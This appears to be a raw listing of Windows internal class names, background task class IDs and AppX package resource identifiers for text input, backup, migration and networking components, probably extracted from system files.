Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.6
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.8
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.9
Global.WindowsMigration
Global.WindowsMigration.AppXrateh92vwht1avvyymscdv5tx6mpjxzz.mca
Global.WindowsMigration.AppXx0dcv1p0apffyaezj0ejz1ef041tk0es.mca
Global.WindowsPeopleExperience.AppXpkzme2jr11ysrte06wck8kyezwk1pbfx.mca
Global.WindowsPeopleExperience.AppXr294thyq69q9stfx19eg6rwxw938b35a.wwa
Global.WindowsPeopleExperience.wwa
Global.WindowsPersonaCard.AppX6vcm33xz1vnzertraheqrmah45wqcb0h.wwa
Global.WindowsPersonaCard.AppX8mqwb6jamj7bp6kj3wtbaz5n9bep069q.mca
Global.WindowsPersonaCard.wwa
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.12
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.14
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.15
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.17
Windows.Internal.AI.EntityAugmenters.EntityAugmenter
Windows.Internal.ActionUIDevKit.ActionMenu
Windows.Internal.ActionUIDevKit.ActionMenuConfiguration
Windows.Internal.ActionUIDevKit.ActionMenuDismissedEventArgs
Windows.Internal.ActionUIDevKit.ActionResponse
Windows.Internal.ActionUIDevKit.CallbackActionInvokedEventArgs
Windows.Internal.ActionUIDevKit.CustomAction
Windows.Internal.ActionUIDevKit.CustomActionGroup
Windows.Internal.ActionUIDevKit.QuickActions.UnitConversionManager
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.10
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.12
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.14
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.15
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.17
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.20
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.21
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.22
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.23
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.24
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.25
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.26
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.27
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.28
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.29
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.30
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.31
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.32
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.33
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.34
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.35
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.36
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.37
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.38
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.8
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.9
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.10
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.27
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.28
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.29
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.30
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.31
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.32
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.33
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.34
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.35
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.36
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.37
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardKeyEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardRightHeaderPanel`
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardSettingsMenuKey
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.LatinPredictionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ManualIncrementalLoadWrapPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.MetadataShowRequestArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ModeAvailabilityManager 
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ModernUXKeyboardKeyControlLookup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ModernUXThemeResources
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.MultiMetadataPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.MultitapListView
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.NormalTableCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.NullKeyboardShortcutGenerator
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.NumericKeyboardShortcutGenerator!
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.20
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.21
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.22
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.23
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.24
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.25
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.26
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.38
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.8
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.9
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.10
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.11
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.12
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.13
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.14
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.15
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.16
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.17
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.18
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.19
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.20
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.21
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.22
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.23
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.24
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.25
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.26
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.27
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.28
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.29
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.30
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.31
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.32
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.33
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.34
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.35
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.36
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.37
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.38
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.6
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.8
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.9
WindowsBackup
WindowsBackup.AppX0rebzwn6am0h21d99kr6vpzwcvm6rap7.mca
WindowsBackup.AppX5p0dt3fn160mgq761y9tk0cxrfc7dnd6.mca
WindowsBackup.AppXmjj17085raagddgbcqkd47v73wkt9tfh.mca
WindowsBackup.AppXmzeec6fy3e5g0a4f413x6yqacenm8w54.mca
WindowsBackup.AppXqj224hkh7nbp78xkn6xxwg6waga3cft4.mca
WindowsBackup.AppXwkwys2tnb5skgfnmha1a46rd50fyrdp8.mca
WindowsBackup.AppXwy5feqgsrmkqny70rh46z20rzxz2n5t5.mca
WindowsBackup.BackupNotificationTask
WindowsBackup.BackupNotificationUpdateTask
WindowsBackup.DynamicStringTask
WindowsBackup.WindowsBackupControl
WindowsBackup.WindowsBackupResources
WindowsBackup.WindowsMigrationResources
WindowsBackup.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.ClipboardHistoryItem
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.DataPackageProxy
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.Deprecated_FluentThemeResources
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.FallbackInputProfileData
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.NativeBlob
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.NativeBridge
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.SuggestionUIContainer
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.SuggestionUIStyles
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.SuggestionUI_XamlTypeInfo.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.WebPackageLoader
WindowsInternal.ComposableShell.Experiences.TextInput.Common.BooleanToOpacityConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CandidateWindowThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CloudSettings
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CommonUIStyles
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CompareEnumToVisibilityConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CornerRadiusFilterConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CornerRadiusToThicknessConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.DictationThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.DirectionalAwareContainerRegistrar
WindowsInternal.ComposableShell.Experiences.TextInput.Common.FloatingContentControl
WindowsInternal.ComposableShell.Experiences.TextInput.Common.FloatingContentControlAutomationPeer
WindowsInternal.ComposableShell.Experiences.TextInput.Common.Grabber
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputDelegationClient
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputDelegationManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputHub
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputIndicatorButton
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitchListItem
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitchListItemControl
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitchListViewModel
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitcher
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitcherItemSelectedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInput.Common.MtfCandidatePredictor
WindowsInternal.ComposableShell.Experiences.TextInput.Common.NegateBooleanConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.PrimaryViewThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ShellUI.FluentThemeResources
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ShellUI.ThemeDropShadow
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ShellViewShowRequestInfo
WindowsInternal.ComposableShell.Experiences.TextInput.Common.SoundClipPlayerFactory
WindowsInternal.ComposableShell.Experiences.TextInput.Common.SuggestionUIThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TeachingTipContentControl
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TeachingTipContentControlAutomationPeer
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TeachingTipShowArgs
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TextInputAppResourceLoader
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TextInputAudioManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ThreadPoolBasedTimer
WindowsInternal.ComposableShell.Experiences.TextInput.Common.Timer
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ToolBarResources
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ToolBarThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.XamlBindHelper
WindowsInternal.ComposableShell.Experiences.TextInput.Common.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.AutoResizeTextblock
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.BindableBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveControlModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveGroup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveItemDataTemplateSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveItemStyleSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListPageChangeRequestedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListSelectionEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListViewItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListViewItemFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveUIStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AlphabetKeyboardShortcutGenerator
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.BindableBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateControlBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemChosenEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemToStringValueConverter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelHyperlinkButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelMenuFlyoutItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelPagerUpdatedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelSoftFocusManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateTipControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateUIConfig
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateWindowContextMenuEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateWindowControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateWindowShowPolicy
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CategoryList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CategoryListAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CharacterInfo
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChildKeyPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChildKeyPanelRowLayout
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChineseHorizontalCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChineseHorizontalQuickActionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsSearchCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsToolBarContextMenuItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsToolBarItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsToolBarList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChtToolBarItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChtToolBarList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChtVerticalCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CommentItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CommentItemGroup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ControllerHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ControllerMappings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ControllerSipStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CustomSelectableItemVisualStateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultCandidateActionHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultFlyoutPanelGestureBehavior
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultKeyboardKeyControlLookup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultPersonalityFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultPointerHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DesktopThemeResources
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DictationEntryPointModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DictationModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DictationStatusChangedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectWriteTextBlock
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalAwareContainerManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalNavigableListViewItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalNavigableListViewItemFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalNavigationHighlight
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ExtendedPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FlowerKey
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FlowerKeyAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FlowerPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FontScalingButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FrameworkElementHelper
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FuzzyKeyboardKeyControlLookup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.GazeCandidateBar
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.GazePointerData
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.GripperBar
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCandidateActionHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCanvas
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCanvasBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCanvasInkOnly
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingIntegratedCanvas
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingTipControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HardwareKeyboardTemplateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HideStoryboardCompletedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HolographicShellPersonalityFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HorizontalCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HorizontalCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HorizontalQuickActionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ImeNotificationWatcher
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.IncrementalListView
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputGestureRecognizer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelLayoutArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidatePanelVerticalWriting
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnToolBarItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnToolBarList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyActionHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyBubbleControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardGrid
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardGridModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardKey
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardKeyAutomationPeer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelSizePositionManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelTemplateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemHorizontalWriting
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemVerticalWriting
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidatePanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidatePanelHorizontalWriting
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.OrdinaryChildKeyPanelModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PasteControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PersonalityControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PointerGesture
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PointerInputPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.QuickActionItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.QuickActionPanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ScrollButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SelectableListView
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ShowCommentEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SimpleButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SingleKeyAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SmartEmojiPredictionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SmartTextPredictionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SpeechCorrectionCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SpeechCorrectionCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SpeechCorrectionCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.StringValueToVisibilityConverter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.StrokeFilter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.Styles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionUIManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionUIPointerHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUIButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUICollapsedViewLeftColumnStackPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUICollapsedViewRightColumnStackPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUIToggleButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SymbolTextBlock
